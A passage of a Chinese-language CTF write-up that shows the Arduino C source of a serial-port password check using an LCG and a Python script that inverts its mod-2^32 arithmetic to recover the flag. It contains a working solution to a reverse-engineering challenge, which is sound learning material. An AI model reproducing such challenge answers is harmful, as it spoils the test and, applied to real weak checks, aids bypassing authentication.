</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="s">&#34;checking</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="kt">uint32_t</span> <span class="n">temp</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">      <span class="n">temp</span> <span class="o">=</span> <span class="n">start</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">      <span class="n">temp</span> <span class="o">*=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="mh">0xcafebeef</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">      <span class="n">temp</span> <span class="o">+=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="nf">gen_random</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">      <span class="n">temp</span> <span class="o">*=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="mh">0xfacefeed</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">      <span class="n">temp</span> <span class="o">^=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="nf">gen_random</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">
</span></span><span class="line"><span class="ln">35</span><span class="cl">      <span class="k">if</span> <span class="p">((</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">temp</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">STATE</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">
</span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="kt">void</span> <span class="nf">loop</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">  
</span></span><span class="line"><span class="ln">44</span><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="n">user_input</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">MAX_SIZE</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">
</span></span><span class="line"><span class="ln">47</span><span class="cl">  <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="s">&#34;Enter your password: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">
</span></span><span class="line"><span class="ln">49</span><span class="cl">  <span class="k">while</span> <span class="p">(</span><span class="n">Serial</span><span class="p">.</span><span class="nf">available</span><span class="p">()</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">    <span class="nf">delay</span><span class="p">(</span><span class="mi">100</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">
</span></span><span class="line"><span class="ln">53</span><span class="cl">  <span class="n">Serial</span><span class="p">.</span><span class="nf">readBytes</span><span class="p">(</span><span class="n">user_input</span><span class="p">,</span> <span class="n">MAX_SIZE</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">  
</span></span><span class="line"><span class="ln">55</span><span class="cl">  <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">    
</span></span><span class="line"><span class="ln">58</span><span class="cl">    <span class="n">start</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">|=</span> <span class="p">((</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">user_input</span><span class="p">[(</span><span class="n">i</span> <span class="o">*</span> <span class="mi">4</span><span class="p">)]</span>   <span class="o">&lt;&lt;</span> <span class="mi">24</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl">    <span class="n">start</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">|=</span> <span class="p">((</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">user_input</span><span class="p">[(</span><span class="n">i</span> <span class="o">*</span> <span class="mi">4</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">    <span class="n">start</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">|=</span> <span class="p">((</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">user_input</span><span class="p">[(</span><span class="n">i</span> <span class="o">*</span> <span class="mi">4</span><span class="p">)</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">    <span class="n">start</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">|=</span> <span class="p">((</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">user_input</span><span class="p">[(</span><span class="n">i</span> <span class="o">*</span> <span class="mi">4</span><span class="p">)</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span> <span class="o">&lt;&lt;</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">
</span></span><span class="line"><span class="ln">63</span><span class="cl">    <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="n">start</span><span class="p">[</span><span class="n">i</span><span class="p">],</span><span class="n">HEX</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl">
</span></span><span class="line"><span class="ln">66</span><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nf">check_pass</span><span class="p">(</span><span class="n">start</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">67</span><span class="cl">    <span class="n">Serial</span><span class="p">.</span><span class="nf">print</span><span class="p">(</span><span class="s">&#34;Thats it!</span><span class="se">\r\n</span><span class="s">Submit in the format FLAG{&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">68</span><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">69</span><span class="cl">          <span class="n">Serial</span><span class="p">.</span><span class="nf">print</span><span class="p">(</span><span class="n">start</span><span class="p">[</span><span class="n">i</span><span class="p">],</span><span class="n">HEX</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">70</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">71</span><span class="cl">    <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="s">&#34;}&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">72</span><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="nb">true</span><span class="p">)</span> <span class="p">{</span> <span class="nf">delay</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span> <span class="p">}</span>
</span></span><span class="line"><span class="ln">73</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">74</span><span class="cl">
</span></span><span class="line"><span class="ln">75</span><span class="cl">  <span class="c1">// Failed, just spin
</span></span></span><span class="line"><span class="ln">76</span><span class="cl">  <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="s">&#34;Incorrect password!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">77</span><span class="cl">  <span class="k">while</span> <span class="p">(</span><span class="nb">true</span><span class="p">)</span> <span class="p">{</span><span class="nf">delay</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span> <span class="p">}</span>
</span></span><span class="line"><span class="ln">78</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>首先是输入最大16字节，每四个一组，大端序存到start数组中</p>
<p>然后每组放到check_pass中做计算，分别判断是否等于四个预设值</p>
<p>这里check_pass虽然有随机数，但是伪随机，所有初始值都给了，每次返回的seed我们也就知道了</p>
<p>脚本：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1">#define MAX_SIZE 32</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="mi">1103515245</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="mi">12345</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">m</span> <span class="o">=</span> <span class="mi">2147483647</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="mi">1337</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">STATE</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x1e48add6</span><span class="p">,</span> <span class="mh">0xaaa7550c</span><span class="p">,</span> <span class="mh">0x18df53bf</span><span class="p">,</span> <span class="mh">0xe6af1116</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">MOD</span> <span class="o">=</span> <span class="mi">2</span><span class="o">**</span><span class="mi">32</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="k">def</span> <span class="nf">inv</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="c1"># 计算模 2^32 下的乘法逆元</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="k">return</span> <span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">MOD</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">inv_CAFE</span> <span class="o">=</span> <span class="n">inv</span><span class="p">(</span><span class="mh">0xcafebeef</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="n">inv_FACE</span> <span class="o">=</span> <span class="n">inv</span><span class="p">(</span><span class="mh">0xfacefeed</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="k">def</span> <span class="nf">gen_random</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="k">global</span> <span class="n">seed</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="n">seed</span> <span class="o">=</span> <span class="p">((</span><span class="n">a</span> <span class="o">*</span> <span class="n">seed</span> <span class="o">+</span> <span class="n">c</span><span class="p">)</span><span class="o">%</span> <span class="n">MOD</span><span class="p">)</span> <span class="o">%</span> <span class="n">m</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">seed</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="k">return</span> <span class="n">seed</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="c1"># 每组两次随机，总共8组，所以循环八次</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="n">rands</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="n">rands</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">gen_random</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="c1"># 然后每段特征码和密钥，随机数反解密码</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="n">start</span><span class="o">=</span><span class="p">[]</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">    <span class="n">r1</span> <span class="o">=</span> <span class="n">rands</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">    <span class="n">r2</span> <span class="o">=</span> <span class="n">rands</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">    <span class="n">temp</span> <span class="o">=</span> <span class="n">STATE</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">r2</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">temp</span> <span class="o">*</span> <span class="n">inv_FACE</span><span class="p">)</span> <span class="o">%</span> <span class="n">MOD</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">    <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">temp</span><span class="o">-</span><span class="n">r1</span><span class="p">)</span> <span class="o">%</span> <span class="n">MOD</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">    <span class="n">start_i</span><span class="o">=</span><span class="p">(</span><span class="n">temp</span> <span class="o">*</span> <span class="n">inv_CAFE</span><span class="p">)</span> <span class="o">%</span> <span class="n">MOD</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">    <span class="n">start</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">start_i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">
</span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="c1"># 转换成字节</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl"><span class="n">flag_bytes</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl"><span class="k">for</span> <span class="n">val</span> <span class="ow">in</span> <span class="n">start</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">    <span class="n">flag_bytes</span> <span class="o">+=</span> <span class="n">val</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="n">byteorder</span><span class="o">=</span><span class="s1">&#39;big&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">
</span></span><span class="line"><span class="ln">47</span><span class="cl">
</span></span><span class="line"><span class="ln">48</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Recovered input:&#34;</span><span class="p">,</span> <span class="n">flag_bytes</span><span class="o">.</span><span class="n">hex</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;flag{&#34;</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl"><span class="k">for</span> <span class="n">val</span> <span class="ow">in</span> <span class="n">start</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">val</span><span class="si">:</span><span class="s2">08x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;}&#34;</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这个脚本很丑陋，非常手工，有一点怎么问AI也无法解决，就是生成随机数那个函数，youtube的官方视频，随机数数组和我的不一样，我逻辑并没问题，后来看了chamd5的wp，才知道要手动取低32位。因为源码是C语言，无符号变量进行的运算，溢出了会自动取32位，也就是模 2^32。包括后面的加减乘除都是在mod 2^32的情况下进行的。python的运算是无限精度的，所以它不会自动溢出取模，要手动。</p>
<p>ChaMD5的脚本也有一个不优雅的地方，他的随机数函数是：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">def</span> <span class="nf">gen_random</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">    <span class="k">return</span> <span class="p">((((((</span><span class="n">a</span><span class="o">&amp;</span><span class="mh">0xffffffff</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">seed</span><span class="o">&amp;</span><span class="mh">0xffffffff</span><span class="p">))</span><span class="o">&amp;</span><span class="mh">0xffffffff</span><span class="p">)</span> <span class="o">+</span> <span class="p">(</span><span class="n">c</span><span class="o">&amp;</span><span class="mh">0xffffffff</span><span class="p">))</span><span class="o">&amp;</span><span class="mh">0xffffffff</span><span class="p">)</span> <span class="o">%</span> <span class="n">m</span><span class="p">)</span><span class="o">&amp;</span><span class="mh">0xffffffff</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
